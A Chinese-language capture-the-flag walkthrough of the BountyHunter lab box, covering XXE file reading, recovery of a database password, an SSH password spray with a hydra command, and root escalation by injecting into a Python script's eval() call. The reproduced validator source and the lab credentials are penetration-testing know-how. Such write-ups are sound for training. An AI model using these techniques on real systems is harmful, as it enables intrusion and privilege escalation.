靶場攻略 | BountyHunter靶場實戰
VSole2023-03-17 15:22:42
首先用nmap掃描靶機開放了那些端口和服務

22就不爆破了,來訪問80端口試試


點著點著就來到了一個頁面

隨便試了一下,開始抓包

Data是一串被編碼的字符串他是先用的bases64加密之后在用url編碼加密,解出來之后是個xml的實體

這個就是試試xml實體注入了
xml實體注入,先把代碼寫出來在加密之后發送給服務器

- 第1行是一個 XML 文檔聲明,告訴解析器這是一個 XML 文件。
- 第2-4行是 DTD,調用了一個外部實體,將本機 test.txt 文件的內容賦值給實體test。此處造成了XML實體注入攻擊。
- 最后一行是輸出實體的值
在編碼之后發送給服務器

這樣就證明了xml實體注入的存在,而且獲取到了passwd文件知道了服務器的用戶名,這里陷入了僵局,不知道咋辦了,在看了教程之后明白了要讀取db.php看名字就和數據庫有關


返回了一串加密字符串我們解密看看

是個連接數據庫的php代碼
// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>
用密碼嘗試登錄admin和test用戶沒有成功,我門在passwd里面獲得了用戶名可以用這個密碼爆破一波
┌──(root?kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user
得到用戶名文本user,現在用hydra爆破用戶名
┌──(root?kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh

爆破成功得到用戶名密碼
[22][ssh] host: 10.10.11.100 login: development password: m19RoAU0hP41A1sTsq6K
登錄服務器查看權限

普通用戶權限,嘗試提權

sudo -l 之后發現它可以無密執行一個python文件和python3.8的環境,我們打開文件看看是一個python腳本
#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc):\\判斷文件是否是md后綴 if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit()
def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0:\\判斷文件第一行是否是# Skytrain Inc if not x.startswith("# Skytrain Inc"): return False continue if i == 1:\\同上 if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue
if x.startswith("__Ticket Code:__"):\\判斷__Ticket Code:__在第幾行 code_line = i+1 continue
if code_line and i == code_line: if not x.startswith("**"):\\判斷地四行開頭是否有** return False ticketCode = x.replace("**", "").split("+")[0]\\取這一行**和+中間的數字 if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4 validationNumber = eval(x.replace("**", ""))\\用eval()執行**后面的命令 print(validationNumber) if validationNumber > 100: return True else: return False return False
def main(): fileName = input("Please enter the path to the ticket file.") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result):\\判斷result是否為ture print("Valid ticket.") else: print("Invalid ticket.") ticket.close
main()
這里我對代碼進行了注釋,方便理解,我們構造一個asd.md文件

這里使and后面的執行等于falsh從而給代碼返回1414是的函數return一個true
我們在kali監聽并在靶機執行腳本

成功返回root權限的shell,之后獲取flag,取得勝利!!

VSole
網絡安全專家